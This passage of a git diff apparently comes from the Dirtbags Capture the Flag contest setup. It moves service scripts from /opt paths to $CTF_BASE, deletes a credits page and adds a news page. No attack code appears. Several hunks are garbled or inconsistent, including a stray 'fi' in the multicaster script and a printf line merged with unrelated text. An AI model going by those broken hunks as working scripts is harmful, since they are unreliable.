-    if /opt/mcp/bin/addteam "$team"; then
+    if $CTF_BASE/mcp/bin/addteam "$team"; then
         echo "

Write this hash down. You will use it to claim points.

" else echo "Oops, something broke. Better call Neale." diff --git a/packages/multicaster/service/multicaster/run b/packages/multicaster/service/multicaster/run index 9356c83..0ed554b 100755 --- a/packages/multicaster/service/multicaster/run +++ b/packages/multicaster/service/multicaster/run @@ -4,4 +4,4 @@ exec 2>&1 IP=$(dbip -a) -exec setuidgid ctf /opt/multicaster/bin/multicaster ff15::62c 1580 $CTF_BASE/state/news.html +fi +ln -sf $CTF_BASE/state/news.html $CTF_BASE/www + +cd $CTF_BASE/www +exec tcpsvd -u nobody ${IP%/*} 80 $CTF_BASE/packages/p2/bin/eris -c. diff --git a/packages/p2/www/credits.html b/packages/p2/www/credits.html deleted file mode 100644 index 280f2ff..0000000 --- a/packages/p2/www/credits.html +++ /dev/null @@ -1,51 +0,0 @@ - - - - The Credits - - - -

Credits

- -

Dirtbags Capture the Flag is brought to you by:

- -
    -
  • The number C
  • -
  • The letters ع and ֆ
  • -
- -

And by:

-
    -
  • Alex Brugh
  • -
  • Paul Ferrell
  • -
  • Jeremy Scott
  • -
  • Danny Quist
  • -
  • Adam Glasgall
  • -
  • Curtis Hash
  • -
  • Aaron McPhall
  • -
  • Patrick Avery
  • -
  • Erin Ochoa
  • -
  • William Phillips
  • -
  • Should your name be here? Please remind me!
  • -
- -

Parts of this contest were inspired by:

-
    -
  • DC949
  • -
  • Tube Warriors
  • -
  • Bad people from around the world (screw you guys, seriously)
  • -
- -

Lastly, this contest would not exist were it not for hundreds of - thousands of lines of code from free software authors around the - world, including:

-
    -
  • Busybox and Buildroot
  • -
  • the Linux kernel
  • -
  • dnsmasq
  • -
  • fnord httpd
  • -
  • ngircd
  • -
  • lua
  • -
- - diff --git a/packages/p2/www/index.html b/packages/p2/www/index.html index 5bc4a7b..5537055 100644 --- a/packages/p2/www/index.html +++ b/packages/p2/www/index.html @@ -15,6 +15,9 @@
  • Puzzles
  • +
  • + News -- updated when things go wrong. +
  • About scoring
  • @@ -33,10 +36,5 @@ When you have solved a puzzle, enter the answer at the console to change your ranking on the scoreboard.

    - -

    - This event would not be possible without the help of many people. - Thank you, people. -

    diff --git a/packages/p2/www/news.html b/packages/p2/www/news.html new file mode 100644 index 0000000..442fe21 --- /dev/null +++ b/packages/p2/www/news.html @@ -0,0 +1,17 @@ + + + + News + + + +

    News

    + +

    Usually updated when something goes wrong.

    + +
      + +
    • Event begins
    • +
    + + diff --git a/packages/p2client/service/p2client/run b/packages/p2client/service/p2client/run index a7e7c3c..c93a578 100755 --- a/packages/p2client/service/p2client/run +++ b/packages/p2client/service/p2client/run @@ -10,7 +10,7 @@ if ! sv s tty1 | grep down; then fi # Cool font -setfont -C /dev/tty1 /opt/p2client/lite-16.fnt +setfont -C /dev/tty1 $CTF_BASE/packages/p2client/lite-16.fnt if ! grep -q debug /proc/cmdline; then @@ -25,7 +25,7 @@ if ! grep -q debug /proc/cmdline; then setterm -blank 0 -powersave off -powerdown 0 # Make this like a VT52; including disabling ctrl-alt-del - loadkmap < /opt/p2client/dumbterm.kmap + loadkmap < $CTF_BASE/packages/p2client/dumbterm.kmap # Disable console logging echo 1 4 1 4 > /proc/sys/kernel/printk diff --git a/packages/playfair/service/playfair/run b/packages/playfair/service/playfair/run index e7a9470..41bf390 100755 --- a/packages/playfair/service/playfair/run +++ b/packages/playfair/service/playfair/run @@ -5,5 +5,5 @@ exec 2>&1 IP=$(dbip -a) ip addr add $IP dev eth0 || true -exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair +exec tcpsvd -u nobody ${IP%/*} 1013 $CTF_BASE/packages/playfair/bin/playfair diff --git a/packages/printf/service/printf/run-printf b/packages/printf/service/printf/run-printf index 49789b9..9563407 100755 --- a/packages/printf/service/printf/run-printf +++ b/packages/printf/service/printf/run-printf @@ -1,3 +1,3 @@ #! /bin/sh -exec chpst -u 9001 -/ /opt/printf/bin ./printf 3 $teamhash else diff --git a/packages/router/service/radvd/run b/packages/router/service/radvd/run index 3ee78f1..02cecbf 100755 --- a/packages/router/service/radvd/run +++ b/packages/router/service/radvd/run @@ -2,4 +2,4 @@ exec 2>&1 -exec /opt/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid +exec $CTF_BASE/packages/router/bin/radvd -C radvd.conf -d 1 -m stderr -p radvd.pid diff --git a/packages/router/service/router/run b/packages/router/service/router/run index 0e33c6a..2b49e79 100755 --- a/packages/router/service/router/run +++ b/packages/router/service/router/run @@ -12,7 +12,7 @@ log () { echo "router: $@" > /dev/console } -if [ $(mount | grep -c /opt/) -gt 1 ]; then +if [ $(mount | grep -c /packages/) -gt 1 ]; then log "cannot run alongside other packages" > /dev/console exit 1 fi diff --git a/packages/tanks/html/designer.cgi b/packages/tanks/html/designer.cgi index 7a9800c..753b2e4 100755 --- a/packages/tanks/html/designer.cgi +++ b/packages/tanks/html/designer.cgi @@ -1,4 +1,4 @@ #! /bin/sh -BASE_PATH=/var/lib/ctf/tanks/players/; export BASE_PATH -exec /opt/tanks/bin/designer.cgi +BASE_PATH=$CTF_BASE/state/tanks/players/; export BASE_PATH +exec $CTF_BASE/packages/tanks/bin/designer.cgi diff --git a/packages/tanks/html/newest.html b/packages/tanks/html/newest.html new file mode 100644 index 0000000..a95fe78 --- /dev/null +++ b/packages/tanks/html/newest.html @@ -0,0 +1,30 @@ + + + + Tanks + + + + + +